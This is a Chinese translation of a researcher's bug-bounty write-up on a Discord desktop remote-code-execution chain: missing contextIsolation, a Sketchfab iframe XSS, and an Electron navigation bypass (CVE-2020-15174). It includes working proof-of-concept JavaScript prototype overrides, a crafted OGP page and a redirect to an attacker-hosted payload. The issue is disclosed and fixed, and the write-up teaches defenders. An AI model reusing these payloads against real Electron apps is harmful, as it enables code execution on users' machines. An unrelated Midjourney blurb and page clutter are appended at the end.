详述 Discord Desktop app RCE 挖洞经过,最后得$5000 + $300 (含 PoC 视频)

 聚焦源代码安全,网罗国内外最新资讯!

编译:奇安信代码卫士团队

几个月前,我在 Discord 桌面应用中发现了一个远程代码执行漏洞,并把漏洞报告提交给 Discord 公司的漏洞奖励计划。这个 RCE 漏洞很有意思,因为它是通过结合多个 bug实现的。如下是挖洞详情。


为何选择 Discord

我喜欢挖掘 Electron app 中的漏洞,所以我就搜索相关的漏洞奖励计划并找到了 Discord。另外我是 Discord 的用户,单纯想查看下它是否安全,于是决定展开调查。

我发现的bug

我找到了如下三个 bug 并结合它们实现了 RCE:

1、contextIsolation 缺失

2、iframe 嵌入中的 XSS

3、导航限制绕过 (CVE-2020-15174)

以下我将详述这些漏洞。

ContextIsolation 缺失

测试 Electron app 时,我首先会查看 BrowserWindow API (用于创建浏览器窗口)的选项。在查看的过程中,我在思考如果能够在渲染器上执行任意 JavaScript,那么如何才能实现 RCE。

Discord 的 Electron app 并非开源项目,但 Electron 的 JavaScript 代码以 asar 格式存储在本地,只需提取即可读取它。

在主窗口中,我发现使用了如下选项:

const mainWindowOptions = {
  title: 'Discord',
  backgroundColor: getBackgroundColor(),
  width: DEFAULT_WIDTH,
  height: DEFAULT_HEIGHT,
  minWidth: MIN_WIDTH,
  minHeight: MIN_HEIGHT,
  transparent: false,
  frame: false,
  resizable: true,
  show: isVisible,
  webPreferences: {
    blinkFeatures: 'EnumerateDevices,AudioOutputDevices',
    nodeIntegration: false,
    preload: _path2.default.join(__dirname, 'mainScreenPreload.js'),
    nativeWindowOpen: true,
    enableRemoteModule: false,
    spellcheck: true
  }
};

我们应该查看的重要选项是 nodeIntegration 和 contextIsolation。从以上代码可知, nodeIntegration 选项被设置为 false,而 contextIsolation 选项也被设置为false,而在 Discord 的主窗口中,contextIsolation 选项被设为 false(所使用版本的默认设置)。

如果 nodeIntegration 被设置为 true,那么只需通过调用 require(),网页的 JavaScript 即可轻松使用 Node.js 功能。例如,在 Windows 上执行 calc 应用的方法是:

<script>
  require('child_process').exec('calc');
</script>

此时,nodeIntegration 被设为 false,因此我无法直接通过调用 require() 来使用 Node.js 功能。

不过,我们仍然有可能访问 Node.js 功能。而另外一个重要选项 contextIsolation 被设为 false。如果想要消除在 app 上实现 RCE 的可能性,则不应该将选项设为 false。

如禁用 contextIsolation,则网页的 JavaScript 可影响在渲染器中执行 Electron 的内部 JavaScript 代码和预载脚本(以下将这些 JavaScript 称为网页外的 JavaScript 代码)。例如,如果通过网页 JavaScript 的另外一个函数覆写 Array.prototype.join(JavaScript 内置方法之一),则网页外的 JavaScript 代码也会在调用 join 时使用被覆写的这个函数。

这种行为很危险,因为不管 nodeIntegration 选项是否禁用,Electron 允许网页外 JavaScript 代码使用 Node.js 功能。通过 Web 页面中覆写的功能进行干扰,即使将 nodeIntegration 设为 false,也有可能实现 RCE。

顺便提一下,此前并未出现这类技巧。2016年当我还在 Cure53 时我们在一次渗透测试中发现了它。之后我们将其告知 Electron 团队,后者才推出了 contextIsolationn选项。最近,这份渗透测试报告也得以推出。具体可见:https://drive.google.com/file/d/1LSsD9gzOejmQ2QipReyMXwr_M0Mg1GMH/view。

contextIsolation在Web 页面和 Web 页面外 JavaScript 代码之间引入了分离的上下文,因此,每个代码的 JavaScript 执行不会彼此影响。这是消除实现 RCE 可能性的必要功能,但这次 Discord 将其禁用。

发现 contextIsolation 遭禁用后,我开始查找可以通过在 Web 页面外干涉 JavaScript 代码执行任意代码的地方。

通常,当我在 Electron 渗透测试过程中创建 RCE 漏洞的PoC 时,首先会尝试使用Electron在渲染器上的内部 JavaScript 代码来实现 RCE。这是因为 Electron 的内部 JavaScript 代码可以在任意 Electron app 中执行,因此我可以复用相同的代码实现 RCE,而且很容易实现。

之前我介绍了可以通过使用 Electron 在导航时间执行的代码来实现 RCE。我们不仅可能从该代码中获得代码,而且在某些地方也有这样的代码(后续我将发布 PoC 代码示例)。

然而,根据 Electron 使用的版本,或者是所设置的 BrowserWindow 选项,因为代码已被修改或者受影响代码无法正确获取,因此通过 Electron 代码实现的 PoC 并不能很好地运行。此时,它不起作用,因此我决定将目标改为预装脚本。

在检查预装脚本时,我发现 Discord 暴露了该函数,可通过 DiscordNative.nativeModules.requireModule('MODULE-NAME') 将受允许的模块调用到 Web 页面中。

我虽然无法使用可直接实现 RCE 的模块如 child_process 模块,但我发现可覆写 JavaScript 内置方法并干扰被暴露模块的执行实现 RCE 的代码。

如下是 PoC。我能够证实当调用在 devTools的模块 “discord_utils” 中定义的 getGPUDriverVersions 函数时会弹出calc应用程序,同时覆写 RegExp.prototype.test 和 Array.prototype.join。

RegExp.prototype.test=function(){
    return false;
}
Array.prototype.join=function(){
    return "calc";
}
DiscordNative.nativeModules.requireModule('discord_utils').getGPUDriverVersions();

getGPUDriverVersion 函数试图通过使用 “execa” 库(如下)执行该程序:

module.exports.getGPUDriverVersions = async () => {
  if (process.platform !== 'win32') {
    return {};
  }


  const result = {};
  const nvidiaSmiPath = `${process.env['ProgramW6432']}/NVIDIA Corporation/NVSMI/nvidia-smi.exe`;


  try {
    result.nvidia = parseNvidiaSmiOutput(await execa(nvidiaSmiPath, []));
  } catch (e) {
    result.nvidia = {error: e.toString()};
  }


  return result;
};

通常,execa 试图执行变量 nvidiaSmipath 中指定的 “nvidia-smil.exe”,然而,由于被覆写的 RegExp.prototype.test 和 Array.prototype.join,在 execa 的内部处理中,该参数被替换为 “calc”。

具体而言,通过修改如下两部分,该参数被替换。

  • https://github.com/moxystudio/node-cross-spawn/blob/16feb534e818668594fd530b113a028c0c06bddc/lib/parse.js#L36

  • https://github.com/moxystudio/node-cross-spawn/blob/16feb534e818668594fd530b113a028c0c06bddc/lib/parse.js#L55

接下来的工作就是找到在该应用程序上执行 JavaScript 的方法。如果能找到,则会导致真正的 RCE。

iframe 内嵌中的 XSS 漏洞

如上,我发现可以通过任意 JavaScript 执行实现RCE,因此我尝试找出一个 XSS 漏洞。该 app 支持自动链接或 Markdown 功能,但它看起来并不存在问题。因此我将注意力转向 iframe 内嵌功能。例如,当粘贴 YouTube URL 时,iframe 内嵌功能会自动在聊天中显示视频播放器。

当粘贴 URL 时,Discord 尝试获取该 URL 的 OGP 信息,而且如果存在 OGP 信息,它就会在聊天中显示该页面的主题、描述、缩略图、相关视频等。

Discrod 从 OGP 中提取视频 URL,而且只有当视频 URL 是被允许的域名,而该 URL 具有内嵌页面的 URL 格式,该 URL 才会被内嵌到 iframe 中。

由于无法找到关于如何在 iframe 中嵌入服务的文档,因此我尝试通过检查 CSP 的 frame-src 指令来获得线索。当时我使用了如下 CSP:

Content-Security-Policy: [...] ; frame-src https://*.youtube.com 
https://*.twitch.tv https://open.spotify.com 
https://w.soundcloud.com https://sketchfab.com 
https://player.vimeo.com https://www.funimation.com 
https://twitter.com https://www.google.com/recaptcha/ 
https://recaptcha.net/recaptcha/ https://js.stripe.com 
https://assets.braintreegateway.com https://checkout.paypal.com 
https://*.watchanimeattheoffice.com

显然,其中一些内容是为了允许 iframe 内嵌(如 YouTube、Twitch、Spotify)。我试图查看能否通过将域名一个一个地指定到 OGP 信息的方法嵌入到 iframe,并且试图找到嵌入式域名中的 XSS。经过一些尝试后,我发现 CSP 中所列的域名之一 sketchfab.com 可被嵌入到 iframe 中并且在内嵌页面中找到了 XSS。当时我对 Sketchfab 一无所知的,但似乎用户可借此平台发布、购买并出售 3D 模型。该 3D 模型的脚注中存在一个简单的基于 DOM 的 XSS。

如下是 PoC,它含有构造的 OGP。当我将这个 URL 粘贴到聊天中时,Sketchfab 被嵌入聊天的 iframe 中。对 iframe 点击几次后,任意 JavaScript 被执行。

<head>
    <meta charset="utf-8">
    <meta property="og:title" content="RCE DEMO">
    [...]
    <meta property="og:video:url" content="https://sketchfab.com/models/2b198209466d43328169d2d14a4392bb/embed">
    <meta property="og:video:type" content="text/html">
    <meta property="og:video:width" content="1280">
    <meta property="og:video:height" content="720">
</head>

就这样,我最终找到了一个 XSS,但 JavaScript 仍然可在 iframe 上执行。由于 Electron 并不会将 “网页外的JavaScript 代码“加载到 iframe 中,因此即使我在 iframe 中覆写了 JavaScript 内置方法,我仍然无法干涉 Node.js 的关键内容。为实现 RCE,我们需要跳出 iframe 并在上层浏览上下文中执行 JavaScript。这就要求我们从 iframe 中打开一个新窗口,或者将上层窗口从 iframe 中导航到另一个 URL。

我检查了相关代码并发现限制导航的代码,通过使用主进程代码中的 “new-window” 和 “will-navigate” 事件即可。

mainWindow.webContents.on('new-window', (e, windowURL, frameName, disposition, options) => {
  e.preventDefault();
  if (frameName.startsWith(DISCORD_NAMESPACE) && windowURL.startsWith(WEBAPP_ENDPOINT)) {
    popoutWindows.openOrFocusWindow(e, windowURL, frameName, options);
  } else {
    _electron.shell.openExternal(windowURL);
  }
});
[...]
mainWindow.webContents.on('will-navigate', (evt, url) => {
  if (!insideAuthFlow && !url.startsWith(WEBAPP_ENDPOINT)) {
    evt.preventDefault();
  }
});

我以为该代码可正确地阻止用户打开新窗口或者导航上层窗口。然而,我发现了异常行为。

导航限制绕过 (CVE-2020-15174)

虽然我认为该代码没有问题,但仍然尝试检查 iframe 中的上层导航被拦截。然而,令人惊讶的是,出于某种原因,导航竟然未被拦截。我希望在导航发生前且遭 preventDefault() 拒绝前,“will-navigate” 事件会被发现,然而并非如此。

为测试这种行为,我构造了一个小型的 Electron app。我发现出于某种原因, “will-navigate” 事件并未从 iframe 开始的上层导航释放。确切地讲,如果上层的来源和iframe的来源是同源,则事件会释放;但如果它们是不同源,则事件不会释放。我认为发生这种行为是不合理的,因此我认为这是一个 bug,于是决定之后向 Electron 团队报告。

由于这个 bug 的存在,我绕过了导航限制。我做的最后一件事应该是使用 iframe 的 XSS 导航到包含 RCE 代码的页面,如 top.location="//l0.cm/discord_calc.html"。

就这样,通过结合利用三个 bug,我实现了 RCE。如下视频所演示:

写在最后

我将这些问题提交给 Discord 的漏洞奖励计划。首先,Discord 团队禁用了 Sketchfab 内嵌,并通过将 sandbox 属性添加到 iframe 的应变措施阻止从 iframe 导航。之后,启用了 contextIsolation。目前,即使我能够在该 app 上执行任意 JavaScript,也无法通过覆写的 JavaScript 内置方法实现 RCE。为此,我获得5000美元的奖金。

Sketchfab 上的 XSS 漏洞报告提交给 Sketchfab 的漏洞奖励计划,该公司的开发人员迅速修复问题。我因此获得300美元的奖励。

“will-navigate” 事件中的 bug 提交给了 Electron 的安全团队,现已修复且漏洞编号为 CVE-2020-15174。

个人而言,我喜欢外部页面的 bug 或 Electron 的bug,它和 app 本身的实现无关,但可导致 RCE。希望阅读本文后,可使 Electron 应用更安全。感谢阅读!

推荐阅读

Npm 恶意包试图窃取 Discord 敏感信息和浏览器文件

Hacker Plus:Facebook 推出漏洞奖励 “忠诚计划”

原文链接

https://www.zdnet.com/article/microsoft-releases-emergency-security-updates-for-windows-and-visual-studio/

题图:Pixabay License

文内图:bleepingcomputer

本文由奇安信代码卫士编译,不代表奇安信观点。转载请注明“转自奇安信代码卫士 https://codesafe.qianxin.com”。

奇安信代码卫士 (codesafe)

国内首个专注于软件开发安全的

产品线。

    觉得不错,就点个 “在看” 吧~

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
Midjourney 是一个 Discord 机器人,用于提供各种有趣和实用的功能。目前,Midjourney 没有对外开放 API,如果你想体验他们的服务,你可以通过进入他们的 Discord 频道或者将他们的机器人拉入你自己创建的服务器来使用他们的服务。 要接入 Midjourney 服务,你需要按照以下步骤进行操作: 1. 创建一个 Discord 服务器。 2. 下载并安装 Discord 的最新版本。 3. 等待部署成功后,可以使用 Midjourney 的各种功能了。 如果你想手动部署 Midjourney,可以按照以下步骤进行操作: 1. 克隆项目到本地。 2. 安装依赖。 3. 使用命令 npm run build 进行编译。 4. 使用命令 npm run start 启动服务,或者使用命令 npm run dev 以开发模式启动。 5. 使用 Docker 运行 Midjourney-Proxy 服务,可以参考 midjourney-proxy 的参数配置。 6. 使用 Railway 进行部署。 希望以上信息对你有帮助。如果还有其他问题,请随时提问。<span class="em">1</span><span class="em">2</span><span class="em">3</span> #### 引用[.reference_title] - *1* [discord+midjourney图片生成器](https://blog.csdn.net/qq_33300454/article/details/130373650)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_2"}}] [.reference_item style="max-width: 33.333333333333336%"] - *2* [Discord安装包,没错就是你以为的MJ-discord安装包](https://download.csdn.net/download/Goligory/87883212)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_2"}}] [.reference_item style="max-width: 33.333333333333336%"] - *3* [开源一键拥有你自己的ChatGPT+Midjourney网页服务,用不用是另一回事,先收藏!](https://blog.csdn.net/ws327443752/article/details/131299831)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_2"}}] [.reference_item style="max-width: 33.333333333333336%"] [ .reference_list ]

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值